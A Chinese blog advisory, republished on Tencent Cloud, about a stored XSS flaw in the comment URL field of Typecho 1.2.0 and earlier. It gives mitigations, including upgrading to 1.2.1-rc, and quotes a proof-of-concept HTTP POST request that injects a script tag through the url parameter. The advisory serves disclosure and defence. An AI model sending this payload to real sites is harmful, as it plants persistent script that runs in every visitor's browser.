前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【紧急漏洞】typecho评论功能的网址填空出现储存型xss漏洞

【紧急漏洞】typecho评论功能的网址填空出现储存型xss漏洞

作者头像
兔山小旭
发布2023-04-06 21:51:29
8560
发布2023-04-06 21:51:29
举报
文章被收录于专栏:柒柒blog柒柒blog

说在前面:漏洞已经在本站的默认模板测试成功,但是是在直连源站的情况下进行操作的,我的cdn自带xss攻击识别防护。

前几天, Typecho 的github项目仓库留言处有人爆出评论功能的网址填空出现储存型xss漏洞,不少人已经被攻击,目前 Typecho 暂未发布修复该漏洞的教程,但是 Typecho 的 Github 仓库的最新代码已修复该漏洞,并预发布了 Typecho 1.2.1-rc 版本。

解决方法: 1. 关闭评论功能一劳永逸,做个安静的静态站点。 2. 目前,Typecho 的 Github 仓库的最新代码已修复该漏洞,并预发布了 Typecho 1.2.1-rc 版本,可以更新 Typecho 1.2.1-rc 以防止漏洞被利用于攻击你的网站。 link : https://github.com/typecho/typecho/releases/tag/v1.2.1-rc

以下是原文: 大概意思是受漏洞影响的版本,Typecho 评论 URL 存在 Stored-XSS 漏洞,在comments.php文件中,url参数只过滤开头,不加任何保护,直接回显到html中。再次访问站点时触发XSS。以及演示步骤。

Influenced Version Typecho <= 1.2.0

Description Typecho comments URL with Stored-XSS vulnerability. 1.Comment on an article in any capacity with xss payload. 2.In Comments /usr/themes/default/comments.php,The url parameter filters only the beginning without any other protection, and directly echoed to html. 3.XSS is triggered when the site is visited again.

227714314-4260db23-38cf-4412-9edf-f3b057e2480a.png
227714314-4260db23-38cf-4412-9edf-f3b057e2480a.png

POC POST /index.php/archives/1/comment with:

代码语言:javascript
复制
author=1&mail=12%4012&url=http://xxx.xxx.com/"></a><script>alert("hack")</script><a/href="#&text=1221&_=9d8302e080b9c139354b528787f1e5e4

The full POC request:

代码语言:javascript
复制
POST /index.php/archives/1/comment HTTP/1.1
Host: 127.0.0.1
Content-Length: 143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/index.php/archives/1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

author=123&mail=123%40123.com&url=http://xxx.xxx.com/"></a><script>alert("hack")</script><a/href="#&text=123&_=9d8302e080b9c139354b528787f1e5e4

or type directly into the website below then commit:

227714798-d0e3ccd5-1f4e-4c16-924f-da0815e26ca7.png
227714798-d0e3ccd5-1f4e-4c16-924f-da0815e26ca7.png
227714074-9be109de-05f6-44c6-9130-1d675cc2f27f.png
227714074-9be109de-05f6-44c6-9130-1d675cc2f27f.png
227714938-a7fc21ff-0df0-4c4c-85e9-1b98fcc14166.png
227714938-a7fc21ff-0df0-4c4c-85e9-1b98fcc14166.png
227714983-983c32ce-3298-4d4f-b378-686e12fc5ab8.png
227714983-983c32ce-3298-4d4f-b378-686e12fc5ab8.png
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023年04月03日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档